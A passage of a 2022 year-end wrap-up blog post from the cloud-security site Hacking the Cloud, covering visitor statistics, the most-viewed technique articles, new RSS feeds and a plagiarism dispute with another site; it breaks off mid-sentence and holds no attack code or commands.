class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6 checked> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=true> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=./ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#numbers class=md-nav__link> <span class=md-ellipsis> Numbers </span> </a> </li> <li class=md-nav__item> <a href=#most-popular-articles class=md-nav__link> <span class=md-ellipsis> Most Popular Articles </span> </a> </li> <li class=md-nav__item> <a href=#rss-feeds class=md-nav__link> <span class=md-ellipsis> RSS Feeds! </span> </a> </li> <li class=md-nav__item> <a href=#plagiarism class=md-nav__link> <span class=md-ellipsis> Plagiarism </span> </a> </li> <li class=md-nav__item> <a href=#mastodon class=md-nav__link> <span class=md-ellipsis> Mastodon </span> </a> </li> <li class=md-nav__item> <a href=#plans-for-the-future class=md-nav__link> <span class=md-ellipsis> Plans for the Future </span> </a> </li> <li class=md-nav__item> <a href=#conclusion class=md-nav__link> <span class=md-ellipsis> Conclusion </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/blog/2022_wrap-up.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>2022 Wrap-up</h1> <aside style=display:flex> <p><a class=glightbox href="https://avatars.githubusercontent.com/u/10386884?v=4" data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src="https://avatars.githubusercontent.com/u/10386884?v=4" style=width:44px;height:44px;margin:5px;border-radius:100%></a></p> <p><span><strong>Nick Frichette</strong> · @frichette_n · <a href=https://twitter.com/Frichette_n><span class="twemoji twitter"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg></span></a></span> <br> <span> <span class=twemoji><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M6.75 0a.75.75 0 0 1 .75.75V3h9V.75a.75.75 0 0 1 1.5 0V3h2.75c.966 0 1.75.784 1.75 1.75v16a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75v-16C1.5 3.784 2.284 3 3.25 3H6V.75A.75.75 0 0 1 6.75 0M21 9.5H3v11.25c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25Zm-17.75-5a.25.25 0 0 0-.25.25V8h18V4.75a.25.25 0 0 0-.25-.25Z"/></svg></span> December 14, 2022 </span></p> </aside> <hr> <p>2022 is coming to a close and it's time to look back on the year. For Hacking the Cloud, 2022 has been a year of steady improvements. We've consistently had new content and new techniques added to the catalog throughout the year. We also expanded the type of content we offer with a full-blown, custom, <a href=https://hackingthe.cloud/aws/capture_the_flag/cicdont/ >CTF</a>! With all that in mind, here are some accomplishments for the site this year, along with some noteworthy updates.</p> <h2 id=numbers>Numbers<a class=headerlink href=#numbers title="Permanent link">&para;</a></h2> <p>I think the best way to view how well the site is doing is to see some numbers. Here are some fun statistics. All data was pulled ~6PM Central, December 13th. In 2022, Hacking the Cloud has:</p> <ul> <li>625 stars gained on GitHub</li> <li>225 commits committed</li> <li>73,925 visits</li> <li>124,278 page views</li> <li>6,408 average monthly visitors (excluding December)</li> <li>9,763 average monthly visitors in the past quarter!</li> </ul> <p><a class=glightbox href=../../images/blog/2022_wrap-up/monthly_visitors.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Monthly visitor graph" src=../../images/blog/2022_wrap-up/monthly_visitors.png></a></p> <p>November in particular was a high traffic month, presumably because of multiple articles being released and gaining traction on Google's <a href=https://developers.google.com/search/docs/appearance/google-discover>Discover</a>.</p> <p>Compared to 2021, visitor count has increased over <code>94%</code>! (Note: 2022 is not over, hence the dotted line for 2022)</p> <p><a class=glightbox href=../../images/blog/2022_wrap-up/yearly_visitors.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Yearly visitor graph" src=../../images/blog/2022_wrap-up/yearly_visitors.png></a></p> <p>We have also reached 17 <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/graphs/contributors>contributors</a> officially on GitHub! I want to personally thank every single one of you who took the time to contribute to the site. Especially for Azure and GCP which I have no knowledge of. You all make this possible and I appreciate your contributions deeply.</p> <h2 id=most-popular-articles>Most Popular Articles<a class=headerlink href=#most-popular-articles title="Permanent link">&para;</a></h2> <p>Some more numbers; this time the most popular articles along with page views:</p> <ol> <li><a href=https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ >Steal EC2 Metadata Credentials via SSRF</a> - 10,963 page views!</li> <li><a href=https://hackingthe.cloud/aws/capture_the_flag/cicdont/ >CI/CDon't</a> - 5,842 page views.</li> <li><a href=https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ >AWS Organizations Defaults</a> - 5,325 page views.</li> <li><a href=https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ >Connection Tracking</a> - 5,209 page views.</li> <li><a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >Using Stolen IAM Credentials</a> - 5,043 page views.</li> </ol> <p>Once again, the <a href=https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ >Steal EC2 Metadata Credentials via SSRF</a> article was the number one most popular page on the site! I think this is mostly attributed to high SEO ranking, along with it being a crucial security topic. </p> <p><a href=https://hackingthe.cloud/aws/capture_the_flag/cicdont/ >CI/CDon't</a> was a surprise runner up, but a happy surprise. I made this CTF specifically for Hacking the Cloud to cover some important security topics. I'm hoping that view count is indicative that folks enjoyed it and perhaps a few played it themselves.</p> <p><a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >Using Stolen IAM Credentials</a> ranking in the top 5 was another happy surprise. This article deviates from the standard type of article we would normally host. Typically each page of Hacking the Cloud is dedicated to an individual technique. This article was an attempt to create a "playbook" that would explain how an attacker should operate in a certain situation, along with OPSEC considerations. Considering that this article has been viewed so much, I definitely plan to continue this type of content. Perhaps with accompanying video content?</p> <h2 id=rss-feeds>RSS Feeds!<a class=headerlink href=#rss-feeds title="Permanent link">&para;</a></h2> <p>If you want to be the first to know when a new technique has been added to Hacking the Cloud, I have good news for you! We now have two RSS feeds thanks to the <a href=https://guts.github.io/mkdocs-rss-plugin/ >mkdocs-rss-plugin</a>. The <a href=https://hackingthe.cloud/feed_rss_created.xml>created</a> feed (also linked in the footer) is the recommended feed to follow if you'd like to be notified when a new article has been added. We also have an <a href=https://hackingthe.cloud/feed_rss_updated.xml>updated</a> feed, in case you want a notification every time a page is changed (not recommended but nobody is stopping you).</p> <p>Please note, I've been a little wary about adding RSS support to Hacking the Cloud out of fear that something will go wrong. So far, testing has been positive, but I apologize in advance if something goes haywire and you get spammed with notifications.</p> <h2 id=plagiarism>Plagiarism<a class=headerlink href=#plagiarism title="Permanent link">&para;</a></h2> <p>Last month, I was made aware that another site was copying entire articles from Hacking the Cloud and publishing them on their own site. You can see some examples below.</p> <table> <thead> <tr> <th style="text-align: center;">Hacking the Cloud</th> <th style="text-align: center;">Copy</th> </tr> </thead> <tbody> <tr> <td style="text-align: center;"><a class=glightbox href=../../images/blog/2022_wrap-up/example_1_original.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt src=../../images/blog/2022_wrap-up/example_1_original.png></a></td> <td style="text-align: center;"><a class=glightbox href=../../images/blog/2022_wrap-up/example_1_copy.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt src=../../images/blog/2022_wrap-up/example_1_copy.png></a></td> </tr> <tr> <td style="text-align: center;"><a class=glightbox href=../../images/blog/2022_wrap-up/example_2_original.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt src=../../images/blog/2022_wrap-up/example_2_original.png></a></td> <td style="text-align: center;"><a class=glightbox href=../../images/blog/2022_wrap-up/example_2_copy.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt src=../../images/blog/2022_wrap-up/example_2_copy.png></a></td> </tr> </tbody> </table> <p>As you can imagine, I was pretty unhappy with this for a number of reasons. Writing content for Hacking the Cloud takes a significant time investment. Setting up test infrastructure, getting screenshots, validating logs, ensuring everything written is 100% accurate (and fixing it when things slip through) is a huge endeavor. It is deflating and frustrating when another site claims they have more content, only for you to find a non-insignificant portion of that content was copied and pasted from your work and the work of people who took time to contribute to your project. </p> <p>Furthermore, it is even more upsetting when that site has a banner seeking company sponsorships and subscription plans, potentially profiting off of work done for Hacking the Cloud (I should mention, when asked about this, the site owner told me the site does not make money).</p> <p>I am 100% supportive of citing other researchers. It's why Hacking the Cloud has links to original research, additional resources, and references at the top of each article, front and center. However, there is a huge difference between citing someone, or crediting someone, and copying the entire article, word-for-word.</p> <p>To that site owner's credit, when I raised these concerns with them they were quick to remove the plagiarized content. To my knowledge this has not been a problem since, and I don't hold any ill-will towards them.</p> <div class="admonition warning"> <p class=admonition-title>Feb 2024 Update</p> <p>It has been brought to my attention that HackTricks Cloud is still engaging in blatant plagiarism of a variety of different sources, including plagiarizing Hacking the Cloud content. Please see <a href="https://x.com/Frichette_n/status/1753070869109481725?s=20">this</a> this Twitter thread for some examples. Please see <a href="https://x.com/Frichette_n/status/1753803942377517492?s=20">this</a> thread for more examples. I recommend avoiding their training course because of this. Copying and pasting blog posts and referencing those as training materials does not inspire confidence.</p> </div> <p>As a result of this incident, however, I have added additional language to our existing <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/blob/main/CONTRIBUTING.md#plagiarism-policy>Plagiarism Policy</a> to further enforce that we will not accept plagiarized content on Hacking the Cloud. Additionally, I have added additional guarantees that I will remove links/references at the author's request (including situations that don't involve plagiarism).</p> <p>Hacking the Cloud uses the <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/blob/main/LICENSE>MIT License</a> which, in retrospect, was a big mistake. When this decision was made, I was not considering the potential for someone to copy content from the site and potentially monetizing it. I have spent some time 